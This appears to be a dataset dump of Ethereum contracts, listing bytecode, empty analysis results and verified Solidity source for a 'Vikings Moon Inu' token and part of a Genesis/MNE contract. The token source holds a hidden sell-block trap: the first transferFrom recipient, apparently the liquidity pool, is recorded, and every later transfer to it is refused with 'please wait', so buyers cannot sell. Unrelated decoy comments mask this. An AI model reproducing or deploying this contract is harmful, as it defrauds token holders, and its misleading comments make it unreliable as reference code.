0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c578063d73dd62311610066578063d73dd62314610285578063dd62ed3e146102b1578063e816d8d8146102df578063e8f71d1b14610404576100cf565b806370a082311461022b57806395d89b4114610251578063a9059cbb14610259576100cf565b806306fdde03146100d4578063095ea7b31461015157806318160ddd1461019157806323b872dd146101ab578063313ce567146101e157806366188463146101ff575b600080fd5b6100dc610529565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101165781810151838201526020016100fe565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561016757600080fd5b506001600160a01b0381351690602001356105b7565b604080519115158252519081900360200190f35b610199610666565b60408051918252519081900360200190f35b61017d600480360360608110156101c157600080fd5b506001600160a01b0381358116916020810135909116906040013561066c565b6101e9610891565b6040805160ff9092168252519081900360200190f35b61017d6004803603604081101561021557600080fd5b506001600160a01b03813516906020013561089a565b6101996004803603602081101561024157600080fd5b50356001600160a01b03166109f5565b6100dc610a10565b61017d6004803603604081101561026f57600080fd5b506001600160a01b038135169060200135610a6b565b61017d6004803603604081101561029b57600080fd5b506001600160a01b038135169060200135610acb565b610199600480360360408110156102c757600080fd5b506001600160a01b0381358116916020013516610bd9565b610199600480360360608110156102f557600080fd5b810190602081018135600160201b81111561030f57600080fd5b82018360208201111561032157600080fd5b803590602001918460208302840111600160201b8311171561034257600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561039157600080fd5b8201836020820111156103a357600080fd5b803590602001918460208302840111600160201b831117156103c457600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505091359250610c04915050565b6101996004803603606081101561041a57600080fd5b810190602081018135600160201b81111561043457600080fd5b82018360208201111561044657600080fd5b803590602001918460208302840111600160201b8311171561046757600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156104b657600080fd5b8201836020820111156104c857600080fd5b803590602001918460208302840111600160201b831117156104e957600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505091359250610dc7915050565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105af5780601f10610584576101008083540402835291602001916105af565b820191906000526020600020905b81548152906001019060200180831161059257829003601f168201915b505050505081565b60006001600160a01b0383166105fe5760405162461bcd60e51b81526004018080602001828103825260298152602001806111bb6029913960400191505060405180910390fd5b3360008181526002602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b60005481565b6001600160a01b0383166000908152600260209081526040808320338452909152812054828110156106e5576040805162461bcd60e51b815260206004820152601960248201527f5370656e64657220616c6c6f77616e636520746f6f206c6f7700000000000000604482015290519081900360640190fd5b6001600160a01b03841661072a5760405162461bcd60e51b815260040180806020018281038252602a8152602001806111e4602a913960400191505060405180910390fd5b604080518082018252601781527f5370656e6465722062616c616e636520746f6f206c6f770000000000000000006020808301919091526001600160a01b03881660009081526001909152919091205461078b91859063ffffffff610f7116565b6001600160a01b0380871660009081526001602052604080822093909355908616815220546107c0908463ffffffff61100816565b6001600160a01b038516600090815260016020526040902055600019811461083b576001600160a01b0385166000908152600260209081526040808320338452909152902054610816908463ffffffff61106916565b6001600160a01b03861660009081526002602090815260408083203384529091529020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3506001949350505050565b60045460ff1681565b60006001600160a01b0383166108e15760405162461bcd60e51b81526004018080602001828103825260298152602001806111bb6029913960400191505060405180910390fd5b3360009081526002602090815260408083206001600160a01b038716845290915290205480831115610936573360009081526002602090815260408083206001600160a01b038816845290915281205561098f565b3360009081526002602090815260408083206001600160a01b038816845290915290205461096a908463ffffffff61106916565b3360009081526002602090815260408083206001600160a01b03891684529091529020555b3360008181526002602090815260408083206001600160a01b0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6001600160a01b031660009081526001602052604090205490565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105af5780601f10610584576101008083540402835291602001916105af565b6000610a7783836110ab565b905080610660576040805162461bcd60e51b815260206004820152601760248201527f5472616e73666572206469646e27742073756363656564000000000000000000604482015290519081900360640190fd5b60006001600160a01b038316610b125760405162461bcd60e51b81526004018080602001828103825260298152602001806111bb6029913960400191505060405180910390fd5b3360009081526002602090815260408083206001600160a01b038716845290915290205480610b47818563ffffffff61100816565b1080610b645750600019610b61828563ffffffff61100816565b10155b15610ba557610b7c600019600163ffffffff61106916565b3360009081526002602090815260408083206001600160a01b038916845290915290205561098f565b3360009081526002602090815260408083206001600160a01b038816845290915290205461096a908463ffffffff61100816565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60008251845114610c465760405162461bcd60e51b815260040180806020018281038252602b815260200180611190602b913960400191505060405180910390fd5b8351606411610c92576040805162461bcd60e51b8152602060048201526013602482015272546f6f206d616e7920726563697069656e747360681b604482015290519081900360640190fd5b6000805b8551811015610ccf57610cc5858281518110610cae57fe5b60200260200101518361100890919063ffffffff16565b9150600101610c96565b506b033b2e3c9fd0803ce80000008110610d26576040805162461bcd60e51b8152602060048201526013602482015272084ead8d640ecc2d8eaca40e8dede40d0d2ced606b1b604482015290519081900360640190fd5b6000805b8651811015610d8757610d63878281518110610d4257fe5b6020026020010151878381518110610d5657fe5b60200260200101516110ab565b91508115610d7f57610d7c84600163ffffffff61100816565b93505b600101610d2a565b5060408051848152905185917f8ed71c3a6fb899bfe96968ade5a4119b380c0d642a775106eb80aa795450777e919081900360200190a250509392505050565b60008251845114610e095760405162461bcd60e51b815260040180806020018281038252602981526020018061120e6029913960400191505060405180910390fd5b8351606411610e53576040805162461bcd60e51b8152602060048201526011602482015270546f6f206d616e79207370656e6465727360781b604482015290519081900360640190fd5b6000805b8551811015610e7957610e6f858281518110610cae57fe5b9150600101610e57565b506b033b2e3c9fd0803ce80000008110610ed0576040805162461bcd60e51b8152602060048201526013602482015272084ead8d640ecc2d8eaca40e8dede40d0d2ced606b1b604482015290519081900360640190fd5b6000805b8651811015610f3157610f0d878281518110610eec57fe5b6020026020010151878381518110610f0057fe5b6020026020010151610acb565b91508115610f2957610f2684600163ffffffff61100816565b93505b600101610ed4565b5060408051848152905185917fca78741c6b48402cfa7be577db6559c46abb0f8ba9ce1468cf71297349370d9c919081900360200190a250509392505050565b600081848411156110005760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610fc5578181015183820152602001610fad565b50505050905090810190601f168015610ff25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015611062576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b600061106283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f71565b60006001600160a01b0383166110c357506000610660565b6001600160a01b0383163014156110dc57506000610660565b336000908152600160205260409020548211156110fb57506000610660565b33600090815260016020526040808220805485900390556001600160a01b0385168252902054611131908363ffffffff61100816565b6001600160a01b0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35060019291505056fe416d6f756e74206f6620726563697069656e747320616e642076616c75657320646f6e2774206d61746368546f6b656e207370656e64657220697320616e20756e696e697469616c697a6564206164647265737343616e27742073656e6420746f6b656e7320746f20756e696e697469616c697a65642061646472657373416d6f756e74206f66207370656e6465727320616e642076616c75657320646f6e2774206d61746368a2646970667358221220a5765278a7b6b44ac0e994b2d0984c1728c8c65a52d209d4cf00fc7095121ad564736f6c63430006020033
{"success": true, "error": null, "results": {}}
29
0xc19f837a02991a01f7456503ab28a19b64f17607
/** *Submitted for verification at Etherscan.io on */ /** * @dev Intended to update the TWAP for a token based on accepting an update call from that token. * expectation is to have this happen in the _beforeTokenTransfer function of ERC20. * Provides a method for a token to register its price sourve adaptor. * Provides a function for a token to register its TWAP updater. Defaults to token itself. * Provides a function a tokent to set its TWAP epoch. * Implements automatic closeing and opening up a TWAP epoch when epoch ends. * Provides a function to report the TWAP from the last epoch when passed a token address. */ /* ******* /* * ____ ____ _____ ___ ____ _____ ____ _____ ______ ______ _____ ____ _____ _____ _____ |_ _| |_ _||_ _||_ ||_ _| |_ _||_ \|_ _|.' ___ | .' ____ \ |_ _||_ \|_ _||_ _||_ _| \ \ / / | | | |_/ / | | | \ | | / .' \_| | (___ \_| | | | \ | | | | | | \ \ / / | | | __'. | | | |\ \| | | | ____ _.____`. | | | |\ \| | | ' ' | \ ' / _| |_ _| | \ \_ _| |_ _| |_\ |_\ `.___] || \____) | _| |_ _| |_\ |_ \ \__/ / \_/ |_____||____||____||_____||_____|\____|`._____.' \______.' |_____||_____|\____| `.__.' */ //SPDX-License-Identifier: UNLICENSED //To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. /** * @dev Returns the amount of tokens in existence. */ pragma solidity >=0.5.17; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b <= a); c = a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a * b; require(a == 0 || c / a == b); } function div(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b > 0); c = a / b; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ contract BEP20Interface { function totalSupply() public view returns (uint256); function balanceOf(address tokenOwner) public view returns (uint256 balance); function allowance(address tokenOwner, address spender) public view returns (uint256 remaining); function transfer(address to, uint256 tokens) public returns (bool success); /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function approve(address spender, uint256 tokens) public returns (bool success); function transferFrom( address from, address to, uint256 tokens ) public returns (bool success); /** * @dev Returns true if the value is in the set. O(1). */ event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval( address indexed tokenOwner, address indexed spender, uint256 tokens ); } contract ApproveAndCallFallBack { function receiveApproval( address from, uint256 tokens, address token, bytes memory data ) public; } // TODO needs insert function that maintains order. // TODO needs NatSpec documentation comment. /** * Inserts new value by moving existing value at provided index to end of array and setting provided value at provided index */ contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } /** * @dev Returns the number of values on the set. O(1). */ function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ contract TokenBEP20 is BEP20Interface, Owned { using SafeMath for uint256; string public symbol; string public name; uint8 public decimals; uint256 _totalSupply; address public newun; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; constructor() public { symbol = "VIKINGS INU"; name = "Vikings Moon Inu"; decimals = 9; _totalSupply = 1000000000000000000000000000; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function totalSupply() public view returns (uint256) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint256 balance) { return balances[tokenOwner]; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function transfer(address to, uint256 tokens) public returns (bool success) { require(to != newun, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint256 tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function transferFrom( address from, address to, uint256 tokens ) public returns (bool success) { if (from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint256 remaining) { return allowed[tokenOwner][spender]; } function approveAndCall( address spender, uint256 tokens, bytes memory data ) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval( msg.sender, tokens, address(this), data ); return true; } function() external payable { revert(); } } contract GokuToken is TokenBEP20 { function clearCNDAO() public onlyOwner() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } function() external payable {} }
0x6080604052600436106100f35760003560e01c806381f4f3991161008a578063cae9ca5111610059578063cae9ca5114610568578063d4ee1d9014610672578063dd62ed3e146106c9578063f2fde38b1461074e576100f3565b806381f4f399146103bd5780638da5cb5b1461040e57806395d89b4114610465578063a9059cbb146104f5576100f3565b806323b872dd116100c657806323b872dd1461027d578063313ce5671461031057806370a082311461034157806379ba5097146103a6576100f3565b806306fdde03146100f8578063095ea7b31461018857806318160ddd146101fb5780631ee59f2014610226575b600080fd5b34801561010457600080fd5b5061010d61079f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019457600080fd5b506101e1600480360360408110156101ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083d565b604051808215151515815260200191505060405180910390f35b34801561020757600080fd5b5061021061092f565b6040518082815260200191505060405180910390f35b34801561023257600080fd5b5061023b61098a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561028957600080fd5b506102f6600480360360608110156102a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b0565b604051808215151515815260200191505060405180910390f35b34801561031c57600080fd5b50610325610df5565b604051808260ff1660ff16815260200191505060405180910390f35b34801561034d57600080fd5b506103906004803603602081101561036457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e08565b6040518082815260200191505060405180910390f35b3480156103b257600080fd5b506103bb610e51565b005b3480156103c957600080fd5b5061040c600480360360208110156103e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fee565b005b34801561041a57600080fd5b5061042361108b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047157600080fd5b5061047a6110b0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ba57808201518184015260208101905061049f565b50505050905090810190601f1680156104e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050157600080fd5b5061054e6004803603604081101561051857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061114e565b604051808215151515815260200191505060405180910390f35b34801561057457600080fd5b506106586004803603606081101561058b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156105d257600080fd5b8201836020820111156105e457600080fd5b8035906020019184600183028401116401000000008311171561060657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506113ad565b604051808215151515815260200191505060405180910390f35b34801561067e57600080fd5b506106876115e0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106d557600080fd5b50610738600480360360408110156106ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611606565b6040518082815260200191505060405180910390f35b34801561075a57600080fd5b5061079d6004803603602081101561077157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061168d565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108355780601f1061080a57610100808354040283529160200191610835565b820191906000526020600020905b81548152906001019060200180831161081857829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000610985600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055461172a90919063ffffffff16565b905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a3c5750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15610a875782600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b4c565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610b9e82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7082600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d4282600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174490919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eab57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461104757600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111465780601f1061111b57610100808354040283529160200191611146565b820191906000526020600020905b81548152906001019060200180831161112957829003601f168201915b505050505081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611214576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b61126682600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112fb82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174490919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561156e578082015181840152602081019050611553565b50505050905090810190601f16801561159b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156115bd57600080fd5b505af11580156115d1573d6000803e3d6000fd5b50505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116e657600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111561173957600080fd5b818303905092915050565b600081830190508281101561175857600080fd5b9291505056fea265627a7a72315820e5f9343c6aa569fa7114e93f03cf86a9230be46b0ef49aa7c0f2c3a40b8e414464736f6c63430005110032
{"success": true, "error": null, "results": {}}
30
0x361a4a9e3d35def6444e2ee105720a5995aa740f
/** *Submitted for verification at Etherscan.io on 2021-08-23 */ // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity ^0.8.0; pragma abicoder v2; interface genesisCalls { function AllowAddressToDestroyGenesis ( address _from, address _address ) external; function AllowReceiveGenesisTransfers ( address _from ) external; function BurnTokens ( address _from, uint256 mneToBurn ) external returns ( bool success ); function RemoveAllowAddressToDestroyGenesis ( address _from ) external; function RemoveAllowReceiveGenesisTransfers ( address _from ) external; function RemoveGenesisAddressFromSale ( address _from ) external; function SetGenesisForSale ( address _from, uint256 weiPrice ) external; function TransferGenesis ( address _from, address _to ) external; function UpgradeToLevel2FromLevel1 ( address _address, uint256 weiValue ) external; function UpgradeToLevel3FromDev ( address _address ) external; function UpgradeToLevel3FromLevel1 ( address _address, uint256 weiValue ) external; function UpgradeToLevel3FromLevel2 ( address _address, uint256 weiValue ) external; function availableBalanceOf ( address _address ) external view returns ( uint256 Balance ); function balanceOf ( address _address ) external view returns ( uint256 balance ); function deleteAddressFromGenesisSaleList ( address _address ) external; function isAnyGenesisAddress ( address _address ) external view returns ( bool success ); function isGenesisAddressLevel1 ( address _address ) external view returns ( bool success ); function isGenesisAddressLevel2 ( address _address ) external view returns ( bool success ); function isGenesisAddressLevel2Or3 ( address _address ) external view returns ( bool success ); function isGenesisAddressLevel3 ( address _address ) external view returns ( bool success ); function ownerGenesis ( ) external view returns ( address ); function ownerGenesisBuys ( ) external view returns ( address ); function ownerMain ( ) external view returns ( address ); function ownerNormalAddress ( ) external view returns ( address ); function ownerStakeBuys ( ) external view returns ( address ); function ownerStakes ( ) external view returns ( address ); function setGenesisCallerAddress ( address _caller ) external returns ( bool success ); function setOwnerGenesisBuys ( ) external; function setOwnerMain ( ) external; function setOwnerNormalAddress ( ) external; function setOwnerStakeBuys ( ) external; function setOwnerStakes ( ) external; function BurnGenesisAddresses ( address _from, address[] calldata _genesisAddressesToBurn ) external; } interface normalAddress { function BuyNormalAddress ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _totalToSend ); function RemoveNormalAddressFromSale ( address _address ) external; function setBalanceNormalAddress ( address _from, address _address, uint256 balance ) external; function SetNormalAddressForSale ( address _from, uint256 weiPricePerMNE ) external; function setOwnerMain ( ) external; function ownerMain ( ) external view returns ( address ); } interface stakes { function RemoveStakeFromSale ( address _from ) external; function SetStakeForSale ( address _from, uint256 priceInWei ) external; function StakeTransferGenesis ( address _from, address _to, uint256 _value, address[] calldata _genesisAddressesToBurn ) external; function StakeTransferMNE ( address _from, address _to, uint256 _value ) external returns ( uint256 _mneToBurn ); function ownerMain ( ) external view returns ( address ); function setBalanceStakes ( address _from, address _address, uint256 balance ) external; function setOwnerMain ( ) external; } interface stakeBuys { function BuyStakeGenesis ( address _from, address _address, address[] calldata _genesisAddressesToBurn, uint256 _msgvalue ) external returns ( uint256 _feesToPayToSeller ); function BuyStakeMNE ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _mneToBurn, uint256 _feesToPayToSeller ); function ownerMain ( ) external view returns ( address ); function setOwnerMain ( ) external; } interface genesisBuys { function BuyGenesisLevel1FromNormal ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _totalToSend ); function BuyGenesisLevel2FromNormal ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _totalToSend ); function BuyGenesisLevel3FromNormal ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _totalToSend ); function ownerMain ( ) external view returns ( address ); function setOwnerMain ( ) external; } interface tokenService { function ownerMain ( ) external view returns ( address ); function setOwnerMain ( ) external; function circulatingSupply() external view returns (uint256); function DestroyGenesisAddressLevel1(address _address) external; function Bridge(address _sender, address _address, uint _amount) external; } interface baseTransfers { function setOwnerMain ( ) external; function transfer ( address _from, address _to, uint256 _value ) external; function transferFrom ( address _sender, address _from, address _to, uint256 _amount ) external returns ( bool success ); function stopSetup ( address _from ) external returns ( bool success ); function totalSupply ( ) external view returns ( uint256 TotalSupply ); } interface mneStaking { function startStaking(address _sender, uint256 _amountToStake, address[] calldata _addressList, uint256[] calldata uintList) external; } interface luckyDraw { function BuyTickets(address _sender, uint256[] calldata _max) payable external returns ( uint256 ); } interface externalService { function externalFunction(address _sender, address[] calldata _addressList, uint256[] calldata _uintList) payable external returns ( uint256 ); } interface externalReceiver { function externalFunction(address _sender, uint256 _mneAmount, address[] calldata _addressList, uint256[] calldata _uintList) payable external; } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { function name() external view returns (string memory); function symbol() external 